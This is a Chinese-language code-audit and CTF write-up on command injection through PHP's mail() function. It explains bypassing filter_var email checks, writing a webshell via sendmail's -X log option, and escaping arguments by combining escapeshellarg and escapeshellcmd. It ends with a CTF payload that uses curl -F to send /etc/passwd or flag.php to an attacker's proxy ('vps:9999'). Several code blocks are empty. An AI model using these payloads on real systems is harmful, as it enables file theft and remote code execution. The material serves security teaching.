红日代审Day5-mail函数命令执行漏洞
1 | mail( |
to电子邮件收件人,或收件人列表。本字符串的格式必须符合 » RFC 2822。例如:
- user@example.com
- user@example.com, anotheruser@example.com
- User
- User , Another User
subject电子邮件的主题。
警告:本项不能包含任何换行符,否则邮件可能无法正确发送。
message所要发送的消息。行之间必须以一个 CRLF(\r\n)分隔。每行不能超过 70 个字符。
警告:(Windows 下)当 PHP 直接连接到 SMTP 服务器时,如果在一行开头发现一个句号,则会被删掉。要避免此问题,将单个句号替换成两个句号。
additional_headers(可选项)要插入到邮件 header 尾部的 String 或 array。
这通常用于添加额外的 header(From、Cc 和 Bcc)。多个额外的 header 应使用 CRLF(\r\n)分隔。如果使用外部数据来组成此 header,则应对数据进行清理,避免注入不需要的 header。
如果传递 array,则 key 是 header 名称,value 对应的 header 值。
注意:
发送邮件时,邮件必须包含
Fromheader。这可以使用additional_headers参数来设置,或者可以在 php.ini 中设置默认值。如果不这样做,将导致类似于
Warning: mail(): "sendmail_from" not set in php.ini or custom "From:" header missing的错误消息。当直接通过 SMTP(仅限 Windows)发送时,Fromheader 还会设置Return-Path。注意:
如果未收到消息,请尝试仅使用 LF(\n)。一些 Unix 邮件传输代理(最著名的是 » qmail)会自动用 CRLF 替换 LF(如果使用 CRLF,则会导致 CR 重复)。这应该是最后的手段,因为它不符合 » RFC 2822。
additional_params(可选)发送邮件时,
additional_params参数可用于将额外的 flag 作为命令行选项传递给通过sendmail_path配置项指定的邮件发送程序。例如,当使用 sendmail 并配合-f选项时,可通过此参数设置邮件发件人地址。该参数在内部会经过 escapeshellcmd() 转义,以防止命令注入执行。escapeshellcmd() 虽可阻止命令执行,但仍允许添加额外的参数。出于安全考虑,建议用户自行对该参数进行过滤和清理,避免向 shell 命令中注入非预期的参数。
由于会自动应用 escapeshellcmd(),某些符合互联网 RFC 标准、允许在电子邮件地址中使用的字符将无法通过此方式使用。mail() 无法支持这些字符,因此,若程序中必须使用此类字符,建议改用其他发送邮件的方式(例如使用框架或第三方库)。
应将运行 Web 服务器的用户添加到 sendmail 配置的受信任用户列表中,以避免通过此方法设置信封发件人(-f)时,邮件自动带上 “X-Warning” 头部。对于使用 sendmail 的用户,该文件路径为 /etc/mail/trusted-users。
返回值
如果邮件成功接受投递,返回 **
true**,否则返回 **false**。同样重要的是要注意到,邮件仅接受了投递并不意味着邮件实际上达到预定目的地。
demo:
1 |
|
添加基本 header,告诉 MUA 发件人和回复地址:
1 |
|
filter_var
1 | filter_var(mixed $value, int $filter = FILTER_DEFAULT, array|int $options = 0): mixed |
value
要过滤的内容。注意标量值在过滤前,会先转换成字符串。
filter
要应用的过滤器。可以使用
FILTER_VALIDATE_\*常量作为验证过滤器,使用FILTER_SANITIZE_\*或FILTER_UNSAFE_RAW作为清理过滤器,也可以使用FILTER_CALLBACK作为自定义过滤器。注意: 默认值为 **
FILTER_DEFAULT**,是FILTER_UNSAFE_RAW的别名。这将导致默认情况下不进行过滤。options
要么是选项的关联 array,要么是过滤器 flag 常量
FILTER_FLAG_\*的位掩码。 如果filter接受选项(option),则可以使用数组的"flags"字段提供 flag。返回值
成功时返回过滤后的数据。失败时返回 **
false**,除非使用FILTER_NULL_ON_FAILUREflag,在这种情况下会返回 **null**。
demo:
1 |
|
输出:
1 | string(15) "bob@example.com" |
第一个验证字符串
bob@example.com是否是有效的邮箱格式第二个验证字符串
https://example.com是否是有效的URL,并且要求必须包含路径
escapeshellarg
1 | escapeshellarg(string $arg): string |
arg需要被转义的参数。
返回值
转换之后字符串。
demo:
1 |
|
Demo分析
这道题其实是考察由 php 内置函数 mail 所引发的命令执行漏洞。
在Linux系统上, php 的 mail 函数在底层中已经写好了,默认调用 Linux 的 sendmail 程序发送邮件。而在额外参数( additional_parameters )中, sendmail 主要支持的选项有以下三种:
-O option = value
QueueDirectory = queuedir 选择队列消息
-X logfile
这个参数可以指定一个目录来记录发送邮件时的详细日志情况。
-f from email
这个参数可以让我们指定我们发送邮件的邮箱地址。
举个简单例子方便理解:
上面这个样例中,我们使用 -X 参数指定日志文件,最终会在 /var/www/html/rce.php 中写入如下数据:
1 | 17220 <<< To: Alice@example.com |
当然这题如果只是这一个问题的话,会显的太简单了,我们继续往下看,在 第3行 有这样一串代码
1 | filter_var($email, FILTER_VALIDATE_EMAIL) |
这串代码的主要作用,是确保在第5个参数中只使用有效的电子邮件地址 $email 。
关于 filter_var() 中 FILTER_VALIDATE_EMAIL 这个选项作用,我们可以看看这个帖子 PHP FILTER_VALIDATE_EMAIL 。这里面有个结论引起了我的注意: none of the special characters in this local part are allowed outside quotation marks ,表示所有的特殊符号必须放在双引号中。
根据 RFC 5322 标准,local-part 可以有两种形式:
- 普通格式: 使用有限的字符集(字母、数字、一些特殊符号如
. ! # $ % & ' * + / = ? ^ _ { | } ~ -)。不能有空格,也不能有( ) < > [ ] : ; @ , "这些字符。 - 带引号格式: 整个
local-part可以用双引号" "包起来。在引号内,几乎可以放任何字符,包括空格、点、甚至双引号本身(但双引号需要用反斜杠\转义)。
filter_var() 问题在于,我们在双引号中嵌套转义空格仍然能够通过检测。
举个例子:
1 | "my\" email"@example.com |
filter_var()看到开头的双引号,进入“引号模式”。- 它看到
my,然后看到\",这被解释为一个转义的双引号字符,而不是结束引号。 - 接着它看到
email",并认为"是结束引号。 - 所以最终的
local-part被解析为my" email。
同时由于底层正则表达式的原因,我们通过重叠单引号和双引号,欺骗 filter_val() 使其认为我们仍然在双引号中,这样我们就可以绕过检测。
下面举个简单的例子,方便理解:
当然由于引入的特殊符号,虽然绕过了 filter_var() 针对邮箱的检测,但是由于PHP的 mail() 函数在底层实现中,调用了 escapeshellcmd() 函数,对用户输入的邮箱地址进行检测,导致即使存在特殊符号,也会被 escapeshellcmd() 函数处理转义,这样就没办法达到命令执行的目的了。 escapeshellcmd() 函数在底层代码如下(详细点 这里 ):
因此我们继续往下看,在第七行有这样一串代码:
1 | return escapeshellarg($email); |
这句代码主要是处理 $email 传入的数据。
具体功能作用,可以参考如下案例:
那我们前面说过了PHP的 mail() 函数在底层调用了 escapeshellcmd() 函数对用户输入的邮箱地址进行处理,即使我们使用带有特殊字符的payload,绕过 filter_var() 的检测,但还是会被 escapeshellcmd() 处理。然而 escapeshellcmd() 和 escapeshellarg 一起使用,会造成特殊字符逃逸,下面我们给个简单例子理解一下:
分析一下过程:
1
127.0.0.1' -v -d a=1
由于
escapeshellarg先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。所以处理之后的效果如下:1
'127.0.0.1'\'' -v -d a=1'
接着
escapeshellcmd函数对第二步处理后字符串中的\以及a=1'中的单引号进行转义处理,结果如下所示:1
'127.0.0.1'\\'' -v -d a=1\'
由于第三步处理之后的payload中的
\\被解释成了\而不再是转义字符,所以单引号配对连接之后将payload分割为三个部分,具体如下所示:
所以这个payload可以简化为 curl 127.0.0.1\ -v -d a=1' ,即向 127.0.0.1\ 发起请求,POST 数据为 a=1' 。
总结一下,这题实际上是考察绕过 filter_var() 函数的邮件名检测,通过 mail 函数底层实现中调用的 escapeshellcmd() 函数处理字符串,再结合 escapeshellarg() 函数,最终实现参数逃逸,导致 远程代码执行 。
所以正常情况不建议同时使用 escapeshellcmd() 和 escapeshellarg() 函数对参数进行过滤
CTF例题练习
环境搭建
1 | //index.php |
1 | // flag.php |
WP
审计代码发现有一段waf,让我们传参时不能带有flag字样,同时注意下面的遍历:
1 | foreach(array('_POST', '_GET', '_COOKIE') as $__R) { |
$$典型的变量覆盖,他会遍历我们GET、POST和Cookie的参数,并且如果变量名和值如果与已存在的变量名和值相等则销毁该变量。
然后后面需要存在**$_GET['flag']进行md5弱比较,最后利用escapeshellarg()** 和 escapeshellcmd() 函数漏洞使curl读取文件
首先绕过waf,由于是在waf前进行的遍历,且_POST先遍历那么我们可以在遍历时销毁$_GET中的flag变量来绕过,即:
POST:
1 | _GET[flag]=QNKCDZO |
GET:
1 | ?flag=QNKCDZO |
成功绕过,注意后面waf后还有
1 | if($_POST) extract($_POST, EXTR_SKIP); |
extract 函数的作用是将对象内的键名变成一个变量名,而这个变量对应的值就是这个键名的值, EXTR_SKIP 参数表示如果前面存在此变量,不对前面的变量进行覆盖处理。由于我们前面通过 POST 请求提交 _GET[flag]=test ,所以这里会变成 $_GET[flag]=test ,这里的 $_GET 变量就不需要再经过 waf 函数检测了,也就绕过了 preg_match(‘/flag/i’,$key) 的限制。
然后就是弱比较,0e开头这里不赘述
接着是escapeshellarg() 和 **escapeshellcmd()**利用:
- escapeshellarg ,将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号
- escapeshellcmd ,会对以下的字符进行转义&#;
|*?~<>^()[]{}$,x0A和xFF,'和"仅在不配对儿的时候被转义。
在字符串增加了引号同时会进行转义,那么之前的payload
1 | http://127.0.0.1/index1.php?url=http://127.0.0.1 -T /etc/passwd |
因为增加了 ‘ 进行了转义,所以整个字符串会被当成参数。注意 escapeshellcmd 的问题是在于如果 ‘ 和 “ 仅在不配对儿的时候被转义。那么如果我们多增加一个 ‘ 就可以扰乱之前的转义了。如下:
在 curl 中存在 -F 提交表单的方法,也可以提交文件。 -F <key=value> 向服务器POST表单,例如: curl -F “web=@index.html;type=text/html” url.com 。提交文件之后,利用代理的方式进行监听,这样就可以截获到文件了,同时还不受最后的的影响。那么最后的payload为:
1 | http://baidu.com/' -F file=@/etc/passwd -x vps:9999 |
所以payload:
1 | POST /index.php?flag=QNKCDZO&hongri=s878926199a&url=http://baidu.com/' -F file=@/var/www/html/flag.php -x vps:9999 HTTP/1.1 |






















